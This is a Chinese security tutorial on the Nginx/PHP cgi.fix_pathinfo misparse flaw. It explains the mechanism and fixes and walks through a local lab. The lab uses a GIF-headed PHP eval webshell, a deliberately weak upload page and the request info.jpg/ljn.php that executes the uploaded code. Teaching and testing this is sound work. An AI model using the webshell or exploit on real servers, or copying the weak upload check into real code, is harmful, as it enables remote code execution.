Nginx错误配置解析复现:原理详解+环境搭建+渗透实践(文件上传)

目录

1、错误解析简介

2、cgi.fix_pathinfo

(1)配置核心作用

(2)递归式路径匹配机制

(3)核心逻辑

(4)风险示例讲解

[① 第一步:Nginx 的转发 "误判"](#① 第一步:Nginx 的转发 “误判”)

[② 第二步:PHP cgi.fix_pathinfo=1 的 "路径修复" 逻辑](#② 第二步:PHP cgi.fix_pathinfo=1 的 “路径修复” 逻辑)

[③ 总结:双重规则的 "错位叠加"](#③ 总结:双重规则的 “错位叠加”)

3、影响版本

三、环境搭建

1、使用PHPStudy2016

2、配置Web服务端口使不冲突

3、配置php.ini文件

4、重启Web服务

四、渗透实战

1、构造脚本

2、搭建靶场

3、上传info.jpg

4、访问脚本


本文分析了Nginx+PHP-FPM环境下因配置不当导致的安全风险。当Nginx错误转发含.php的请求、PHP开启cgi.fix_pathinfo路径修复功能且PHP-FPM未严格限制可执行文件类型时,攻击者可上传恶意图片(如info.jpg),通过访问图片.jpg/.php路径使服务器将其作为PHP脚本执行,实现远程代码执行。文章详细讲解其原理,提供了环境搭建和渗透测试步骤,并指出根本修复方案:关闭cgi.fix_pathinfo、严格限制PHP-FPM可执行后缀、规范Nginx配置。一、Nginx文件上传错误配置解析

1、错误解析简介

Nginx错误配置解析是一类由不安全配置组合 导致的安全问题。其主要成因包括Nginx将含.php的请求直接转发、PHP配置中cgi.fix_pathinfo=1允许路径修复,以及PHP-FPM配置中security.limit_extensions未严格限制执行文件类型。当攻击者上传包含恶意代码的图片并访问图片.jpg/任意.php此类路径时,该配置链条会导致图片被当作PHP脚本执行,从而实现远程代码执行。

特性维度 配置错误
核心成因 Nginx、PHP、PHP-FPM三者配置不当形成的不安全链条。
触发条件 1. Nginx将含 .php 的请求转给PHP-FPM。 2. cgi.fix_pathinfo=1 (PHP配置,允许路径修复)。 3. security.limit_extensions 为空或包含非PHP后缀 (PHP-FPM配置,不限制执行文件类型)。
影响范围 理论上非常广泛,只要使用Nginx+PHP-FPM且配置不当的环境都可能受影响。
根本修复方案 修正三方配置 : 1. PHP : cgi.fix_pathinfo=0。 2. PHP-FPM : security.limit_extensions=.php。 3. Nginx : 规范 location 配置,使用 $document_root
危害 攻击者可上传恶意图片等文件,远程执行任意代码,完全控制服务器。

2、cgi.fix_pathinfo

(1)配置核心作用

该配置仅在 PHP 以CGI/FastCGI 模式 (Nginx+PHP-FPM 的主流运行模式)工作时生效,作用是控制 PHP 对请求 URL 中「畸形文件路径 / 后缀」的解析修正规则,仅有两个取值,安全差异极大:

  • 开启(默认值)cgi.fix_pathinfo = 1 :PHP 会开启路径信息自动修正 ,忽略请求文件名中「真实文件后缀」后的所有多余内容,仅识别文件实际存在的部分,哪怕后续拼接了其他后缀,仍会按原文件类型解析执行。
  • 关闭(安全值)cgi.fix_pathinfo = 0 :PHP 严格校验文件路径与后缀,仅解析服务器上真实存在、且后缀为.php 的文件,对畸形路径 / 拼接后缀请求直接拒绝解析,从根源阻断安全风险。

(2)递归式路径匹配机制

cgi.fix_pathinfo 作为 PHP 适配 CGI/FastCGI 模式(Nginx+PHP 主流架构)的核心配置,其 处理 文件路径的本质是递归式路径匹配机制 :当 PHP 接收到形如/aaa.xxx/bbb.yyy/ccc.zzz的文件路径请求时,会从后往前逐段剔除路径后缀,直到找到服务器上真实存在的文件:

  • 首先校验完整路径/aaa.xxx/bbb.yyy/ccc.zzz是否存在,若不存在则剔除最后一段/ccc.zzz
  • 接着校验剩余路径/aaa.xxx/bbb.yyy是否存在,若存在则将其判定为该请求对应的真实文件,忽略被剔除的/ccc.zzz
  • /aaa.xxx/bbb.yyy仍不存在,继续剔除/bbb.yyy,重复上述校验流程,直至找到存在的文件或路径完全剔除。

(3)核心逻辑

错误解析安全风险的发生,需要同时满足以下几个条件:

  • Nginx配置不当 :配置中使用了类似 location ~ \.php$ { ... } 的规则,使所有以 .php 结尾的请求都交给PHP-FPM处理。这本身是正常配置,但结合其他条件就会产生问题。

  • PHP配置不当 (关键) :在 php.ini 中,cgi.fix_pathinfo 参数被设置为 1(旧版本PHP的默认值)。这会让PHP在找不到指定文件时,向前寻找并执行路径中第一个存在的文件。

  • PHP-FPM配置不当 :在 php-fpm.confwww.conf 中,security.limit_extensions 配置项为空或包含 .jpg 等非PHP后缀 。这导致PHP-FPM会去解析和执行非 .php 文件。

复制代码
flowchart TD
    A[攻击者构造特殊URL<br>访问 example.com/upload/malicious.jpg/nonexist.php] --> B
    
    subgraph B[Nginx 处理请求]
        B1["匹配 .php$ 的 location<br>将请求传递给 PHP-FPM 处理"]
    end

    B --> C
    
    subgraph C[PHP-FPM 根据 cgi.fix_pathinfo 解析]
        direction LR
        C1["检查 /upload/malicious.jpg/nonexist.php<br>文件不存在"]
        C1 --> C2["cgi.fix_pathinfo = 1<br>向前查找存在的文件"]
        C2 --> C3["最终解析 /upload/malicious.jpg<br>执行其中的PHP恶意代码"]
    end

    C --> D[漏洞触发<br>恶意代码以Web权限执行]
复制代码
flowchart TD
    A[攻击者构造特殊URL<br>访问 example.com/upload/malicious.jpg/nonexist.php] --> B
    
    subgraph B[Nginx 处理请求]
        B1["匹配 .php$ 的 location<br>将请求传递给 PHP-FPM 处理"]
    end

    B --> C
    
    subgraph C[PHP-FPM 根据 cgi.fix_pathinfo 解析]
        direction LR
        C1["检查 /upload/malicious.jpg/nonexist.php<br>文件不存在"]
        C1 --> C2["cgi.fix_pathinfo = 1<br>向前查找存在的文件"]
        C2 --> C3["最终解析 /upload/malicious.jpg<br>执行其中的PHP恶意代码"]
    end

    C --> D[漏洞触发<br>恶意代码以Web权限执行]

(4)风险示例讲解

攻击者上传shell.jpg/.php这类畸形后缀文件(绕过上传后缀校验)后,Nginx 将请求转发给 PHP;PHP 会按 "修复" 逻辑剔除.php,识别到真实存在的shell.jpg文件,并错误地将其当作 PHP 脚本交由解析器执行,最终导致非 PHP 文件被解析为恶意代码,引发服务器权限泄露。

① 第一步:Nginx 的转发 "误判"

Nginx 在处理shell.jpg/.php这类带特殊后缀的请求时,会基于自身的路径解析规则,将请求的 "后缀特征" 优先级高于文件真实类型:

  • Nginx 识别到 URL 中包含.php后缀,会判定这是一个 PHP 脚本请求,进而将该请求转发给后端的 PHP-FPM(PHP 解析器)处理,而非按静态文件(JPG)直接返回;
  • 此时 Nginx 忽略了文件的真实后缀是.jpg,仅以 URL 中 "最后出现的.php" 作为判定依据,为后续 PHP 错误解析埋下伏笔。
② 第二步:PHP cgi.fix_pathinfo=1 的 "路径修复" 逻辑

当 PHP-FPM 接收到 Nginx 转发的shell.jpg/.php请求后,因cgi.fix_pathinfo=1开启,会触发递归式路径匹配:

  • PHP 首先校验完整路径shell.jpg/.php是否存在 ------ 服务器上实际只有shell.jpg,该路径不存在;
  • 按 "修复" 规则剔除最后一段.php,校验剩余路径shell.jpg,发现该文件真实存在;
  • PHP 会将shell.jpg判定为该请求对应的 "真实脚本文件",并忽略被剔除的.php后缀;
  • 关键风险点:PHP 此时已接收到 Nginx 传递的 "PHP 脚本请求" 标识,因此不会按 JPG 静态文件处理,而是将找到的shell.jpg文件当作 PHP 脚本解析执行
③ 总结:双重规则的 "错位叠加"
  • Nginx 的核心问题:只看 URL 中的.php后缀就转发给 PHP 解析器,无视文件真实类型;
  • PHP 的核心问题:开启cgi.fix_pathinfo后,只校验文件是否存在,无视请求原本的后缀匹配要求,直接将存在的shell.jpg按 PHP 脚本解析。

最终,攻击者上传的shell.jpg(内含 PHP 恶意代码),通过拼接.php后缀触发 Nginx 转发,再经 PHP 的 "路径修复" 逻辑被错误解析为 PHP,而非按其真实的 JPG 类型处理,最终导致恶意代码执行。

3、影响版本

由于新php在php5-fpm配置文件php-fpm.conf引入了"security.limit_extensions",限制了可执行文件的后缀,默认只允许执行.php文件。由于"security.limit_extensions"的引入,使得该风险难以被成功利用。受影响版本如下所示:

  • nginx 0.5 全系列(0.5.*
  • nginx 0.6 全系列(0.6.*
  • nginx 0.7 系列:版本号 ≤ 0.7.65
  • nginx 0.8 系列:版本号 ≤ 0.8.37

三、环境搭建

环境:Windows Server2003,PHPStudy2016,配置文件中cgi.fix_pathinfo=1

1、使用PHPStudy2016

如下所示,启动PHPStudy2016,切换为Nginx+MySQL,这里php版本选择5.2.17。

2、配置Web服务端口使不冲突

如果启动Nginx的过程中端口冲突,需要将Nginx端口修改,如下所示在我的环境中将Nginx的端口号修改为8000。

3、配置php.ini文件

打开php.ini文件,方法为启动界面的-其他选项-打开配置文件-php-ini,如下所示。

修改php.ini文件,将cgi.fix_pathinfo=0 改为cgi.fix_pathinfo=1并保存。

修改前如下所示:

修改后如下所示:

4、重启Web服务

修改完毕后重启php study的Web服务,具体如下所示。

四、渗透实战

1、构造脚本

构建脚本如下所示,命名为info.jpg。

|-----------------------------------------------------------|
| GIF89a <?php echo "mooyuan"; @eval($_POST['ljn']); ?> |

2、搭建靶场

在网站根目录新建upload.php,内容如下所示。

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <form action="#" method="post" enctype="multipart/form-data"> <input type="file" name="file1"> <input type="submit" value="upload"> </form> </body> </html> <?php if(!empty(_FILES\['file1'\])){ if(_FILES['file1']['error'] == 0){ file = pathinfo(_FILES['file1']['name']); if(strtolower(file\['extension'\])=='php'){ echo "invalid file"; }else{ if(!file_exists(_FILES['file1']['name'])){ move_uploaded_file(_FILES\['file1'\]\['tmp_name'\], './'._FILES['file1']['name']); echo "upload success"; }else{ echo "the file alread exists,please select again"; } } }else{ echo $_FILES['file1']['error']; } } ?> |

代码实现了一个允许用户上传文件的网页。其逻辑流程如下:

  • 前端表单 :提供了一个 POST 方式的文件上传表单。

  • 后端处理逻辑(PHP)

    • 检查文件存在 :首先检查用户是否选择了文件(!empty($_FILES['file1']))。

    • 检查上传错误 :确认文件上传过程中没有错误(error == 0)。

    • 检查文件扩展名

      • 目的 :试图阻止用户直接上传 .php 文件

      • 方式 :使用 pathinfo 获取文件名和后缀,并用 strtolower 确保后缀被统一转换为小写后进行比对。

    • 文件重名检查 :检查上传目录中是否已存在同名文件(file_exists)。

    • 保存文件 :如果一切正常,使用 move_uploaded_file 函数将临时文件移动到当前目录(./)下

3、上传info.jpg

访问自制的文件上传靶场upload.php, URL和页面效果如下所示。

复制代码
http://127.0.0.1:8000/upload.php

上传info.jpg,如下所示上传成功。

4、访问脚本

URL地址填写http://127.0.0.1:8000/info.jpg/ljn.php,POST data输入ljn=phpinfo();点击执行后如下所示显示页面的php信息,说明渗透成功。

复制代码
http://127.0.0.1:8000/info.jpg/ljn.php
ljn=phpinfo();
相关推荐
重生之我在番茄自学网安拯救世界5 天前
网络安全中级阶段学习笔记(九):upload靶场实战(14-16关)-图片马制作与通过教学
笔记·学习·网络安全·文件上传漏洞·图片木马
重生之我在番茄自学网安拯救世界5 天前
网络安全中级阶段学习笔记(十):upload靶场实战(17关以及问题解决)
笔记·学习·网络安全·文件上传漏洞·图片木马
重生之我在番茄自学网安拯救世界8 天前
网络安全中级阶段学习笔记(八):upload靶场实战(1-13关)-文件上传漏洞绕过1
笔记·学习·网络安全·文件上传漏洞·靶场实战
重生之我在番茄自学网安拯救世界10 天前
网络安全中级阶段学习笔记(七):Web 安全之文件上传漏洞笔记1(包含upload-labs-master靶场前三关实战)
笔记·学习·web安全·文件上传漏洞·网安基础
码农12138号16 天前
Bugku - 2023 HackINI Upload0 与 2023 HackINI Upload1 详解
web安全·php·ctf·文件上传漏洞·bugku
mooyuan天天16 天前
Apache多后缀解析复现:原理详解+环境搭建+渗透实践
web安全·文件上传·文件上传漏洞·apache多后缀解析漏洞
码农12138号16 天前
网络安全-文件上传漏洞
web安全·网络安全·文件上传漏洞
缘友一世2 个月前
文件上传漏洞和绕过技术
web安全·网络安全·渗透测试·文件上传漏洞·开发安全
jieyu11192 个月前
uploads-labs靶场通关(1)
web安全·文件上传漏洞·靶场通关